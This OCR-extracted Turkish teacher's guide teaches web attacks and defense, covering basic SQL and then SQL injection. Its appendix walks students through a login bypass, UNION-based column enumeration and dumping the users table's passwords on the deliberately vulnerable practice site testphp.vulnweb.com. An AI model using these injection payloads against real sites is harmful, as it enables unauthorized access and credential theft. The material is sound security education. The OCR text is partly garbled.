e Giivenlik agiklarini tespit ederek savunma mekanizmalarini uygular.
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KULLANILACAK MATERYAL VE ARACLAR

Bilgisayar, Internet, internet tarayici programi, MS Access, kagit, kalem

HAFTANIN ISLENISI

Gozle ve Siber saldirt haritalarin1 gézlemleme, Tiirkiye’ye yapilan saldir1 girisimlerini
Uygula gorme, MS Access tablo olusturma, SQL sorgularini uygulama, sorgu

calistirarak sonucu gorme, 6rnek bir siteden saldir1 analizi

Uygula Cesitli tablolar olusturma be bu tablolar tizerinde farkli SQL sorgularini
calistirma

Tasarla ve Adim adim SQL enjeksiyon saldir1 girisimi

Uret

Degerlendir ~ Haftanin igeriginin degerlendirilmesi ve calismanin devam ettirilmesine

yonelik oneriler

1. GOZLE VE UYGULA

Bu boliimde web saldirilar ile ilgili ¢esitli kavramlar tanitilarak derinlemesine bir tartisma

saglanacaktir.

1.1. SALDIRILAR VE WEB SALDIRILARI

Egitmen 6grencilerinin web saldirilari ile ilgili tartigmalarini saglar. Bunun i¢in 6grencilerine
cesitli sorular sorarak onlarin cevabini alir ve ardindan web saldirilar1 ve saldir1 ¢esitleri ile
ilgili olarak detayli agiklamalarini yapar. Biitiin bu islemler i¢in 35-40 dakikalik bir zaman

ayirmak yeterlidir.

e Hacker ne is yapar?

e Beyaz sapkali hacker ne demektir?

e (Calisan bir web sitesinde hangi bilgilere ulasabiliriz?

e Bir web sitesinin yonetici paneli (admin) paneli ne isimize yarar? Bu panel ile yetkili
kullanic1 hangi islemleri gergeklestirebilir?

e Bir web sitesinin veritabanina ulasirsak hangi bilgileri elde edebiliriz?
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e Bugiine kadar bir web sitesinin arka planinda ne oldugu hakkinda bilgi sahibi olmak
isteyen var mi1?
e Bugiine kadar bir web sitesine ya da aga sizma girisiminde bulunan oldu mu?

e Bir web sitesine ya da bir aga sizmada basaril1 olursak neler yapabiliriz?

Egitmen sadece bu sorular1 sorarak kendisini sinirlandirmak zorunda degildir. Gelen cevaplarla
birlikte dgrencilerden de yeni sorular ortaya ¢ikabilir. Bunlara benzer sorular cergevesinde
tartisma yonetilerek Ogrencilerin fikirlerini beyan etmesi saglanir. Ger¢ek yasam icinde
ogrencilerin fikirleri ile birlikte web saldirilarinin ne kadar 6nemli oldugu sonucuna hep
birlikte varilir. Giinliik yasamdaki web saldirilar1 neticesinde ortaya ¢ikacak durumlardan yola

cikarak web saldirilarina karst savunma mekanizmalarinin 6nemine de vurgu yapilir.

Avrupa Birligi Siber Giivenlik Ajansi'nin (ENISA) 2018 y1l1
itibariyle ortaya koydugu “Threat Landscape report 2017

sonuclarina gore web saldirilari, en st siralarda yer almaktadir.

Malware Web based attacks Web application attacks Phishing
(L 1] o900 eve (L L)
* ‘b

= P4 P 4
TREND TREND TREND TREND
Spam Denial of service Ransomware Botnets Insider threat
5 ( L] (XL LX) ? ... L ] Ly X 1 J
X B
*h-e
ol Ay ——— 7 & - A
TREND TREND TREND TREND TREND
Physical Data breaches Identity theft Information Exploit kits Cyber
manipulation 'YX} leakage 0000 espionage
damage / 'YY1YY)
theft /loss M,
Gaim = — .-
- & So ~ ~ o L B3 2 m
TREND A ) TREND TREND TREND TREND

KILL CHAIN @ Reconnaissance @ Weaponisation @ Delivery @ Exploitation @ Installation @ Command and Control @ Actions on Objectives

(Resim kaynak: https://twitter.com/enisa_eu/status/1044952815515435011, Erisim tarihi:
14.11.2021)



Bolim 7: Web Saldirilar1 ve Savunma

f EGITMENE NOT \

Siber saldir1 haritalarini 6grencilere canli olarak tarayici programda agip gosteriniz. Siber
saldir1 haritalari i¢in kullanilacak web sitesi adresleri:

1. https://www.imperva.com/cyber-threat-attack-map/

2. https://threatmap.checkpoint.com/

3. https://www.fireeye.com/cyber-map/threat-map.html

4 .https://www.digitalattackmap.com/#anim=1&color=0&country=AL L &list=0&time=1

QGB&view:map J

Egitmen ekrana getirdigi canli siber saldir1 haritalar1 {izerinden 6grencilere agiklamalarini

yapar. Ekranda {ilkeler arasi yasanan siber saldirt durumlar1 canli olarak takip edilebilir.
Egitmen saldirinin kaynagi olan {ilkeler, saldirinin hedefi olan iilkeler, en ¢ok kullanilan saldir1

tipleri ve saldiridan en ¢ok etkilenen sektorler ile ilgili 6grencilere bilgi verir.
Uygulama 1:

Egitmen agagidaki islem basamaklarini1 6grencilerin uygulamasina imkan verir. Her bir 6grenci

oturdugu bilgisayardan agagidaki islemleri yerine getirir:

1. https://cybermap.kaspersky.com/tr adresini agar.

2. Siber tehdit haritasindan Tiirkiye secili gelmektedir. Eger degilse TR butonuna
tiklayarak iilkemizin maruz kaldig: tehdit haritasini agar.

3. Egitmen 6grencilerin sayfanin iist kismindan “Veri Kaynaklar1” boliimiine giderek su
kotii amagli yazilim ya da saldirt girisimlerinin anlamini1 okumalari i¢in 6grencilere 10
dakika siire verir: OAS - On-Access Scan, ODS - On Demand Scanner, MAV - Mail
Anti-Virus, IDS - Intrusion Detection Scan, WAV - Web Anti-Virus, VUL -
Vulnerability Scan

4. Egitmen Tirkiye’nin en ¢ok saldirilan kaginci iilke oldugunu &grencilere sorar
(Ogrencilere Harita boliimiine dénerek diinya haritasinda ilgili ilkenin iizerine gelip
fare ile tiklamasini sdyleyebilirsiniz).

5. Egitmen Rusya’nin en ¢ok saldirilan kaginci iilke oldugunu 6grencilere sorar.

6. Egitmen Kanada’nin en ¢ok saldirilan kaginci iilke oldugunu 6grencilere sorar.

7. Egitmen Amerika Birlesik Devletleri’nin en ¢ok saldirilan kaginci iilke oldugunu

Ogrencilere sorar.
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8. Egitmen Cin’in en ¢ok saldirilan kaginci lilke oldugunu 6grencilere sorar.

9. Egitmen, dersi anlattig1 giin en biiylik enfeksiyon etkisi altinda olan ilk bes iilkeyi
ogrencilerine sorar (Ekranda sol iistte Istatistik linkinde tiim detaylara ulasmak
miimkiindiir).

10. Egitmen gecen hafta itibariyle diinya ¢apinda OAS - On-Access Scan, ODS - On
Demand Scanner, MAV - Mail Anti-Virus, IDS - Intrusion Detection Scan, WAV -
Web Anti-Virus, VUL - Vulnerability Scan saldirilarindan etkilenen ilk 20 iilkeyi
ogrencilerinin incelemesini ister. Genel durumla ilgili 6grencilerden birkagina s6z
hakki vererek Ogrencilerin saldir1 girisimleri ile ilgili olarak yorum yapip analiz
etmelerini saglar.

11. Egitmen Tirkiye’ye yapilan OAS - On-Access Scan, ODS - On Demand Scanner,
MAYV - Mail Anti-Virus, IDS - Intrusion Detection Scan, WAV - Web Anti-Virus, VUL
- Vulnerability Scan saldirilarin istatistiklerini  6grencilerin  detayli olarak
incelemelerini ister. Ogrencilere iilkemize en ¢ok hangi saldirilarm yapildigi ve bu

saldirilarin toplam sayisinin ne oldugu sorularini yoneltir.

Yukarida yer alan uygulamanin ardindan egitmen genel bir degerlendirme yaparak, saldirt

cesitlerinden, saldirilarin anlik oldugundan, saldirilara karst savunma mekanizmalarinin énemi

vb. bahsedebilir.

Goriildugi tizere bircok saldirt ¢esidinden s6z etmek miimkiindiir. Bu saldirilar1 daraltarak
ogrencilere bir uzmanlik kazandirma ihtiyact vardir. Dolayisiyla bu bolimde web
saldirilarindan SQL enjeksiyonu saldirilart agiklanacak, ardindan SQL enjeksiyonu saldirilart

ile ilgili ¢esitli uygulamalar gerceklestirilecektir.

1.2. SQL ENJEKSIYON SALDIRILARI

SQL enjeksiyon saldirilarinin  amact bir web uygulamasinin veritabanina ulagarak
veritabanindaki her tiirlii bilgiyi goriintiilemek, kopyalamak, degistirmek ve giincellemeye izin
vermektir (Cmar & Bilge, 2016). Bir web sitesinin veritaban1 yetkili kisi tarafindan
yonetilmektedir. Bu kisi kurum icerisinde kendisine hak ve rol tanimlanan bir bilgi islem
calisan1 olabilir. SQL enjeksiyon saldir1 yapan kisi bu yetkili disinda hakki olmadig: halde
veritabanina girme tesebbiisiinde bulunarak tiim kayitlar1 ele gecirebilir. Sekil 1°de bir 6rnek

bir veritabani ve veritabanindaki tablolar gosterilmektedir.
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cocuk personel proje
% cocuk no g personel_no 7 proje_no
ad ad proje_ad
soyad soyad baslama_tarihi
cinsiyet cinsiyet bitis_tarihi
dogum_yeri dogum_tarihi
personel_no

Sekil 1. Veritaban1 6rnegi

Sekil 1’de bir veritabani 6rnegi goriilmektedir. Bu veritabaninda ii¢ adet tablo bulunmaktadir.

Tablo isimleri ise cocuk, personel, proje seklindedir.

EGITMENE NOT

Sekil 1°de yer alan tablolardan cocuk isimli tabloyu tahtaya ¢iziniz ve gerekli agiklamalari

tahtada ¢izerek anlatiniz.

cocuk tablosunun altinda ¢ocuk no, ad, soyad, cinsiyet, dogum yeri, personel no o tabloda
yer alan alanlar1 gostermektedir. Bu alanlar veri girilecek olan siitunlarin basliklar1 olarak

diistiniilebilir.

Verilerin tablolarda nasil tutulduguna yonelik ornek bir ekran goriintiisii Sekil 2°de

goriilmektedir.
cocuk_no - ad - soyad - cinsiyet = | dogum_yeri = personel_no = |Eklemek [cin Tiklatin =
1 Tuna Uluyol Erkek Cankaya 3
2 Zeynep Demirci Kadin istanbul 105
Yeni

Sekil 2. Veritabanindaki bir tabloda saklanan verilerin goriiniimii

EGITMENE NOT

Sekil 2°de yer alan 6rnek verilerin oldugu tabloyu tahtaya ¢iziniz ve gerekli agiklamalar:

tahtada ¢izerek anlatiniz.

Egitmen tahtaya ¢izdigi bu tabloda iki adet kayit bulundugunu 6grencilerine aciklar. Ardindan

Tiirkiye’de faaliyet gosteren bir bankayr 6rnek vererek bu bankanin 5 milyon miisterisi

bulundugunu sdyler. Miisterilere ait hangi verilerin veritabaninda tutulabilecegi ile ilgili olarak
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ogrencilere s6z hakki vererek onlarin cevaplarini alir. Egitmen, bu sekilde veritabaninda bir¢ok
tablo ve bu tablolarda bircok kaydin bulunabilecegi ile ilgili bir beyin firtinasi
gerceklestirebilir.

Uygulama 2:

1. Egitmen 10 dakika siire vererek ogrencilerin https://support.microsoft.com/tr-
tr/office/tablolara-qiri%C5%9F-78ff21ea-2f76-4fb0-8af6-c318d1eeOea7 adresindeki

(Microsoft resmi web sitesi) agiklamalari okumalarini saglar. Bu baglantida Tablolara

Giris konusu basit bigimde anlatilmis ve 6nemli terimler 6zetlenmistir.

2. Egitmen her bir 6grenciden kagit ve kalem ile en az 5 alandan olugan, bir alanin birincil
anahtar olarak belirlendigi bir tabloyu tasarlamalarin ister. Bunun i¢in 6grencilere 5
dakikalik bir siire verilebilir.

3. Egitmen istekli 6grencilerden se¢im yapmak kosuluyla, 6rnek tablolar1 tahtaya

yazdirarak bu tablolarin agiklamalarini sinifa 6grenciyle birlikte yapabilir.
Uygulama 3:

1. Uygulama 2’de kagit lizerinde tasarlanan tablo ya da tablolarin bilgisayar ortaminda
yapilmasini saglaymiz.

2. Egitmen bu islem i¢in 6grencilerin bilgisayarda yiikli olan MS Access programini
caligtirarak bu islemi yapmalarini saglar.

3. Egitmen tablo tasarimini dogru bir sekilde yapan ogrencilerden tabloya 2 kayit
girmelerini ister.

4. MS Access ekran gorlintlisii yansitilarak Ogrencilerle birlikte tartigmalar

-

Ogrenciler ~ “Tablo  olusturma ve  Alan  ekleme” ile ilgili  olarak

gerceklestirilir.

EGITMENE NOT \

https://support.microsoft.com/tr-tr/office/tablo-0lu%C5%9Fturma-ve-alan-ekleme-
8fdc659-8d40-4115-9212-80e6545e8d87#bmaddfield adresini detayli inceleyebilirler.

- J

Buraya kadar 6grenciler veritabani ve tablo yapisinin mantigini1 kavramis ve uygulamis oldular.

Bu asamadan sonra binlerce kayit icerisinden sorgulama yaparak bir bilgiyi filtrelemenin

Oonemini anlatmak gerekmektedir. Bunun i¢in de kullanilan temel dil SQL olarak adlandirilir.


https://support.microsoft.com/tr-tr/office/tablolara-giri%C5%9F-78ff21ea-2f76-4fb0-8af6-c318d1ee0ea7
https://support.microsoft.com/tr-tr/office/tablolara-giri%C5%9F-78ff21ea-2f76-4fb0-8af6-c318d1ee0ea7
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Bu kisimda SQL dilinin tiim komutlarini degil sadece belli temel komutlar1 anlatarak,

ogrencilerin SQL dilinin yapisin1 anlamasini saglayiniz.

SQL Temel Kullanim

Bir SQL sorgusunun genel olarak dogru yazimi su sekildedir:
Select ad FROM personel WHERE id=1;

Bu sorgu, personel isimli tablodan id degeri 1 olan iiyenin ad bilgisini ¢ekecektir. Dolayisiyla

komutun genel kullanim sekli su sekilde olacaktir:
Select slitun_adil, siitun_adi2, ... FROM tablo_ad1

INSERT INTO komutu tablo igerisine yeni bir kayit eklemek icin kullanilir. Kullanimi su
sekildedir:

INSERT INTO tablo_ad (siitun_adil, siitun_adi2, ...) VALUES (degerl, deger2, ...)

Asagida yer alan komut personel tablosunun adi alanina Celebi, Soyadi alanina ise Uluyol

isimli yeni bir kayit ekler.

INSERT INTO personel (Adi, Soyadi) VALUES ('Celebi’, 'Uluyol’)

UPDATE komutu bir tablonun bir kaydini degistirmek ya da gilincellemek i¢in kullanilir.
UPDATE tablo _adi1 SET siitun_adil=degerl, slitun_adi2=deger2, ... WHERE siitun _adi=deger

Asagida yer alan komut Adi Mehmet, Soyadi Demirci olan kaydin Adi Celebi, Soyadi Uluyol
olarak giinceller. Komutta WHERE parametresinin kullanimmi farkli  6rneklerle
aciklayabilirsiniz. Ayrica AND parametresi de her iki kosulun birlikte saglanmasi anlamina

gelmektedir. AND kullanimini da farkli 6rneklerle agiklayabilirsiniz.

UPDATE personel SET Adi='Celebi’, Soyadi='Uluyol' WHERE Adi='"Mehmet’ AND

Soyadi='Demirci’
DELETE komutu bir tablodaki bir kaydi ya da kayitlari silmek i¢in kullanilir.
DELETE FROM tablo adi WHERE siitun_adi=deger

Asagida yer alan komut Adi Celebi Soyadi Uluyol olan kaydi personel tablosundan silme

islemini yerine getirir.

DELETE FROM personel WHERE Adi='Celebi' AND Soyadi="Uluyol'
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Uygulama 4:

1. Egitmen olarak MS Access yaziliminda 6grencilerin her birinin bir 6nceki asamada bir
tablo olusturup olusturmadiklarini tekrar kontrol ediniz. Tablo olusturmayan
ogrencilerin yeni bir tablo olusturmalarini saglayimmiz ve tablo ismini uretici olarak
belirlemelerini isteyiniz.

2. Tabloda su alanlarin olmasini isteyiniz: no, ad, soyad, dogum tarihi, ilce, il

3. Tablolara en az 10 adet kay1t girmelerini saglayiniz. Bazi kayitlarin adi ve il bilgisi ayn1
olabilir.

4. MS Access i¢inde Olustur sekmesinden sorgu sihirbazi ya da sorgu tasarimi
seceneklerini kullanarak sorgu yapilabilir.

5. SELECT komutu ile il alanina goére sorgulama yaptiriniz.

6. UPDATE komutu ile ad alanina gére giincelleme yaptiriniz.

7. DELETE komutu ile soyad alanina gore giincelleme yaptiriniz.

4 N

EGITMENE NOT

Temel SQL komutlar1 s6z dizimi kullanimi 6grenciler tarafindan anlasilip uygulandiktan

sonra artik egitmen olarak SQL enjeksiyon saldirilart anlatimina gegis yapabilirsiniz.

- J

SQL Enjeksiyon Saldiris::

SQL enjeksiyon saldirilari veritabanina dayali uygulamalara saldir1 girisimi i¢in kullanilan bir
tekniktir. Bu saldir1 girisimi i¢in web sitesi ve arka planinda ¢alisan veritabanina sizmak i¢in
SQL komutlart saldir1 i¢in kullanilir. Veritabanina saldiran ya da veritabanina erisen bir kisi
tablolar1 gorebilme, tablolarda bulunan alanlar1 okuyabilme, kayitlara ulasabilme vb. bir¢ok
islemi yapabilir. Sonu¢ olarak yetkisi olmadig1 halde tiim veritabanindaki bilgileri kendi

bilgisayarina indirebilir.
Ornek bir web adresini diisiinecek olursak: personel.com

Bu web adresi veritabaninda her bir personele tanimlanmis bir kimlik numarasi (ID) vardir. Bu

bilgiler Sekil 3’tekine benzer bir tabloda tutuldugu gibidir.
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Celebi 1
Mehmet 2
Tuna 3
Hatice 4

Sekil 3. Ornek personel tablosu
ID’si 3 olan kisinin web tarayicidaki adresi su sekilde olur:
personel.com/personel.php?id=3

Tarayict programin adres ¢ubuguna dikkatlice bakildiginda, boyle bir ifade eger adres
cubugunda goriintiileniyorsa, arka planda bir SQL sorgulamasinin mevcut oldugu anlasilabilir.

Boyle bir ifadenin SQL sorgulama kodu ise su sekildedir:
Select * from personel where id=3

Bu SQL sorgusunun anlami, id’si 3 olan kaydin personel isimli tablodan ¢ekilerek bilgilerinin
goriintiilenmesidir. Boyle bir sorguda cevabin hep dogru olarak geri dondiiriilmesi i¢in kod
iizerinde oynama yapabiliriz. Yaptiimiz manipiilasyon neticesinde kod her zaman dogru

sonucu verecektir. Ciinkii sifir her zaman sifira esit olacaktir:
SELECT ad FROM personel WHERE id=3"%" or ‘0’="0’

Her zaman dogru dondiirecek yukaridaki ifadenin yanina ekleyecegimiz yeni kod bloklart ile

artik saldir1 girisimlerinde bulunmak miimkiin olmaktadir.

Genellikle herhangi bir yorum, forum vb. sayfa igerisinde kullanicilardan gelen komutlar POST
metodu denilen yontemle gonderilmektedir. Bu metotla birlikte tarayici igerisinde sayfa
adresinde parametreler gizlenerek kullaniciya gosterilmemektedir. Boyle durumlarda ise
sayfanin kaynak koduna bakarak gerekli inceleme ve analizler yapilabilir. Yapilacak olan kod
incelemesinde form ile baslayan kodlar1 incelemek gerekmektedir. Form komutlari arasindaki

parametrelere 6zellikle odaklanmak gereklidir. Ornegin;

< form method=""post” action="ana/deneme.asp”>
< input type="hidden” name="X" value="72" />

< form>
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Uygulama 5:

1. Egitmen  olarak  &grencilerin  her  birinin  Internet  tarayicis1  ile

http://testphp.vulnweb.com/index.php adresine girmelerini saglayimniz.

2. Opgrencilerin home, categories, artists, ... gibi linklere tiklayarak sayfada dolasmalarini
saglayiniz.
3. Linklere tiklayarak dolasan Ogrencilerin

“http://testphp.vulnweb.com/listproducts.php?cat=1" benzeri bir yapiyr gérmelerini

saglaymiz. Burada 6grencilerin goérmesi gereken iist kisimlarda anlatildigi iizere
“listproducts.php?cat=1"" benzeri bir yap1 yakalamalaridir.

4. Categories linki altinda, posters, paintings, stickers, graffity linklerine tiklayan
ogrencilerin Internet tarayicisinin adres ¢ubugunda gordiikleri adresleri analiz
etmelerini isteyiniz.

5. Farkli linklere tiklayan dgrencilerin Internet tarayicisi adres ¢ubugunda gordiikleri

adres yapisini agiklamalarini isteyiniz.

2. UYGULA

Egitmen asagida yer alan uygulamay1 6grencilerine yaptirir ve analiz etmelerine yardimer olur.
Bu uygulama ile 6grenciler tablo olusturma ve tablolar iizerinde sorgulama islemlerini

uygulamis olurlar.

2.1. TABLO OLUSTURMA VE SORGULAMA UYGULAMASI

Egitmen 6g8rencilerine veritabaninda tablo olusturma ve tablo iizerinde sorgulama iglemleri ile
ilgili uygulama yaptirmak i¢in bilgisayarda yiikli olan MS Access programini kullanir.

Ogrenciler istenen tiim islemleri MS Access programu iizerinde gerceklestirir.

MS Access programini ¢aligtir.

Yeni bir veritaban1 olusturulur ve isim vererek kaydetmeleri istenir.

Ogrenciler 3 adet tablo olusturur. Tablo isimleri cocuk, personel, proje

cocuk tablosundaki alanlar: cocuk_no, ad, soyad, cinsiyet, dogum_yeri, personel_no
personel tablosundaki alanlar: personel no, ad, soyad, cinsiyet, dogum _tarihi

proje tablosundaki alanlar: proje_no, proje_ad, baslama_tarihi, bitis_tarihi

N o g s~ DR

Her bir tabloya 6grencilerin 5 adet kayit girmesini saglayiniz.
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8. MS Access icinde Olustur sekmesinde Sorgu Sihirbazi ya da Sorgu Tasarimi
segenekleri ile 6grencilerin sorgular olusturmalarini saglaymiz.

9. Opgrenciler sorgular icerisinde SQL kodlarindan SELECT, UPDATE ve DELETE
komutlarini kullanarak gesitli islemler gergeklestirsin.

10. Bu sorgulama komutlarini her bir Ogrencinin farkli oOrneklerle tekrar ederek

uygulamasini saglayimiz.

3. TASARLA VE URET

Tasarla ve iiret boliimiinde SQL enjeksiyon saldirt girisimi etkinligi yer almaktadir. Grubun
ozelligine gore problem coziiliirken 6grencilerin isbirligi icerisinde caligmalarini tesvik etmek
gerekmektedir. Ancak etkinlik bireysel olarak da yapilabilir. Egitmen bu etkinligi yaptirirken,
kitabin basindaki Etik Kilavuzunda ve Hafta 6 Tasarla ve Uret kisminda detayli olarak
aciklanmis olan Uluslararasi Bilgisayar Etik Enstitiisii tarafindan ortaya konulan etik kurallari

ogrencilerine bir kez daha agiklayabilir.

3.1. SQL ENJEKSIYON SALDIRI GIRISIMI

-----

bireysel olarak ya da 2-3 kisilik gruplar halinde isbirligi igerisinde ¢aligmalarini saglayabilir.
Tasarla ve iret etkinligti Ek 1°de sunulmustur. Etkinligin c¢evrimi¢i hali ise

https://forms.gle/DPDM11KCmB9RFeuz9 adresinde mevcuttur. Egitmen etkinligi kosullarin

durumuna gore ister yiiz yiize ister ¢evrimici olarak 6grencileri ile paylasir. Ogrenciler bu

etkinlikte kendilerinden istenen kisimlar1 doldurmakla gorevlidir.

http://testphp.vulnweb.com/index.php web sitesi SQL enjeksiyon saldirilar1 ve egitimi igin

kullanilan 6rnek bir sitedir. Bu sitede herhangi bir giivenlik sorunu bulunmamaktadir, yalnizca
egitim amacl olusturulmustur. Biitiin tasarim ve tiiretim etkinligi bu web sitesi (URL)

iizerinden gerceklestirilecektir.

Egitmen SQL enjeksiyon saldirisin1 basariyla gerceklestiren Ogrencileri izler ve
yonlendirmelerini yapar. Basariyla tamamlayan 6grencilerin isimlerini ajandasina not eder.
Daha sonra bu dgrencilerden dogru ve hizli yapan bir kisi ya da grubu anlatim i¢in sahneye
davet ederek sunumu diger arkadaslarina yaptirir. Anlatimla birlikte 10 dakika soru-cevap ve

tartisma ortami saglanmis olur.
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Egitmen tarafindan 6grencilere sorulmasi gereken sorulardan birisi sudur: Peki bu saldirilara
kars1 firmalar, sirketler, kurum ya da kuruluslar hangi 6nlemleri aliyorlar ki SQL enjeksiyon

saldirilarina engel olmaktadir? Ogrencilere beyin firtinasi yaptirilarak onlarin fikirleri alinir.

4. DEGERLENDIR

Egitmen i¢in asagida bir uygulama degerlendirme formu tasarlanmistir. Egitmen c¢aligsmalari
grup olarak ya da 6grencileri bire bir olacak sekilde asagidaki formu kullanarak kendi

gozlemlerine gore doldurur.

Uygulama degerlendirme formu

Kriterler Cokiyi | lyi Orta | Yetersiz

Yeni konular1 6grenme c¢abasi

Gayretli olma becerisi

Verilen isi tam ve dogru yapma becerisi

Ayrmtilarda dikkatli ve 6zenli olmasi

Yapamadiginda tekrar edebilme

Verilen talimatlar1 dogru anlama becerisi

Is birligi i¢inde caligma becerisi

Kendini ifade etme yetenegi

Isini sevmesi ve isteyerek yapmast

Caligmaya goniillii katilimi

Bildiklerini grup i¢inde paylasimi

Arkadaglartyla yardimlasmasi

Gorevi zamaninda yerine getirmesi




Bolim 7: Web Saldirilar1 ve Savunma

Diger goriislere saygili olmast

Tartismalara katilimi1

Grup ¢alismasinda is boliimiine katilimi

Egitmen 6grencilerine su sorulari sorabilir:

e Giinlimiizde hangi e-posta hesabini kullaniyorsunuz?
e E-postalara giris yaparken ilgili web sitesi arka planda bir veritabani kullantyor mu?
e Bu veritabanina SQL enjeksiyon saldirist yapilmas: miimkiinse, ilgili sirketler bunun

i¢in nasil bir savunma mekanizmasi kullaniyorlar?

Tiim tartismalarin ardindan bu béliimde 6grenilenlerin gelecekte kullanimina yonelik oneriler
iizerine beyin firtinas1 yapilabilir. Ornegin E-ticaret yapilan sirketlere kars1 web saldirilarinin
neden olabilecegi hususlarin 6nemi vurgulanir. Bu durumda egitmen tarafindan yaganabilecek
maddi kayiplarla ilgili olarak ¢cok ug¢ 6rnekler verilebilir. Boylelikle saldirilara kars1 firmalarin
ya da kurumlarin kendi giivenlik mekanizmalarini/6nlemlerini almalarinin 6nemi vurgulanmis

olur.

Egitmen degerlendirme formunu kullanarak stireci degerlendirebilecegi gibi asagidaki formu
kullanarak ogrencilerin SQL enjeksiyon saldirilarina karst bir savunma mekanizmasi

gelistirmelerini isteyebilir.

SQL Enjeksiyon Saldirilarma karst korunmak ic¢in savunma mekanizmalarini Internet
izerinden aragtiriniz. En az 5 farkli savunma mekanizmasint maddeler halinde yaziniz. Bunun

icin 0grencilere 15 dakika verilmesi yeterlidir.

15 dakikalik siire tamamlandiktan sonra beyin firtinas1 teknigi ile tiim 6grencilerin fikirleri

tartisilir.
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5. EK ETKINLIK

1. internet tarayici programin adres cubuguna http:/testphp.vulnweb.com/index.php

yazip Enter tusuna basin.

2. Sol meniide signup linkine tiklayin. Karsmiza kullanici adi ve sifre isteyen ekran
gelecektir.

3. Kullanici ad1 ve sifre yazan yere su kodlar1 yaziniz (Tek tirnak isareti kullanin):
'‘OR'1'="1

4. Sisteme basarili bir sekilde giris yaptiginiza dair form ekrani karsiniza gelecektir.

5. Bu sekilde login bypass yontemi ile sisteme yetkisiz bir bi¢imde giris yapilmistir.

( EGITMENE NOT \

Bilgisayarda gerez (cookie) ne demektir? Ogrencilerin arastirmasini saglayiniz.

Arastirmanin ardindan 6grencilere ¢erez igerisinde kullanici ad1 ve sifre gibi bilgilerin yer

alabilecegini belirtebilirsiniz.

. J
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Ek 1. Tasarla ve Uret Laboratuvar Etkinligi

(Cevrimigi form https://forms.gle/viCFdwanAccSdrgx9 adresinde mevcuttur. Ilgili linki

tarayici programin adres gubuguna kopyala-yapistir yaparak formu agabilirsiniz.)

1. http://testphp.vulnweb.com/index.php web adresine baglanin.

2. Once categories linkine, onun altinda ise posters linkine tiklayin. internet tarayici
programin adres ¢ubugunda gdrdiigiiniiz adresi tam olarak yazin:

3. Adres ¢gubugunun devamina OR 1=1 yazip Enter tusuna basin. Sayfada ne gibi bir
degisiklik oldugunu ve ekranda ne gordiigiiniizli asagiya yaziniz.

4. Simdi ise adres gubugunda OR 1=1 devamina bir tek tirnak isareti ekleyerek Enter
tusuna basin. Sayfada ne gibi bir degisiklik oldugunu yaziniz. Bu degisikligi nasil

yorumlarsiniz?

5. 3.maddede belirtilen OR 1=1 adres satirina order by 12 ekleyerek Enter tusuna basiniz.

Sayfada ne gibi bir degisiklik oldugunu yaziniz. Bu degisikligi nasil yorumlarsiniz?

6. Order by 12 yazip Enter tusuna basiniz.
7. Order by 11 yazip Enter tusuna basiniz. Sayfada ne gibi bir degisiklik oldugunu yaziniz.

Bu degisikligi nasil yorumlarsiniz?

8. 3.maddede belirtilen OR 1=1 adres satirina union select 1,2,3,4,5,6,7,8,9,10,11 yazip

Enter tusuna basiniz. Bu sekilde 11 siitun oldugunu tekrar dogrulamis oldunuz.
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Karsiniza gelen sayfada en alta geliniz. En alttaki satirda 7, 2 ve 9 gibi rakamlar
goreceksiniz. Bunun anlami adres ¢ubugundan yapilan sorguda 2, 7 ve 9 numarali
siitunlar1 kullanabilirsiniz. Asagida 2 numaral: siitun kullanilarak devam edilecektir.
Internet tarayici program adres satirinda en sonda yer alan union select
1,2,3,4,5,6,7,8,9,10,11 kism1 igerisinde 2 yazan yeri silip yerine @@version yazip
Enter tusuna basiniz. Sayfada en alta inerek bu sayfayi ¢alistiran isletim sisteminin adin1
ve versiyon bilgilerinin ne oldugunu yaziniz.

Internet tarayici adresinde 1, @@version,3,4,5,6,7,8,9,10,11 adresinde @@version
yazan yeri degistirerek uygulamaya devam edelim. Kodu su sekilde manipiile ederek
Enter tusuna basiniz:

1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables
where table_schema=database()

Bu kodu yazdiktan sonra sayfanin en altina gidip kontrolleri yapiniz. Gordiigiiniiz tablo

isimleri nelerdir? Yaziniz.

Users tablosu igerisinden kullanici bilgilerine ulasmaya calisalim, hatta admin sifresini
elde etmeye calisalim.
1,group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns

where table name=0x7573657273 yazarak Enter tusuna basiniz.

4 BILGI NOTU

~

Bir metnin hexadecimal kodunu 6grenmek icin Google arama motoruna “text to hext”
yaziiz. Agilan sitelerden herhangi birinde giris metni olarak users yazip cevir diyerek

users metninin hexadecimal kodunun 7573657273 oldugunu gorebilirsiniz.

N

14

15

/

. Sayfanin en altina inerek users tablosundaki siitun isimlerinin neler oldugunu yaziniz.

. Simdi ise tablodan kullanic1 adi ve sifrelerini elde edelim. Internet tarayici adres

satirindan sorguyu degistirmeye devam edelim.




16.

17.
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1,group concat(uname,0x3a,pass),3.4,5,6,7,8,9,10,11 from users yazarak Enter tusuna
basiniz.

Sayfanin en altina inerek sayfadaki kullanici ad1 ve kullanici sifresinin ne oldugunu
yaziniz.

Bu bilgileri denemek icin Internet tarayici programi adres satiria

http://testphp.vulnweb.com/login.php yazip Enter tusuna basiniz. Elde ettiginiz

kullanic1 ad1 ve sifresini yazarak sisteme girig yapiniz. Basarili bir girig yaptiysaniz

ekranda ne gordiigiliniizii not ediniz.

11 ile 16 numarali islem adimlarini users tablosu disinda baska bir tablo i¢in

deneyiniz. Sonuglar1 not ederek adim adim hangi bilgilere ulastiginiz1 yaziniz.

Not: Bu etkinlikle ilgili daha detayli teorik aciklamalara bilgeis.net adresinden
ulasilabilir (Bilge Is, 2022).
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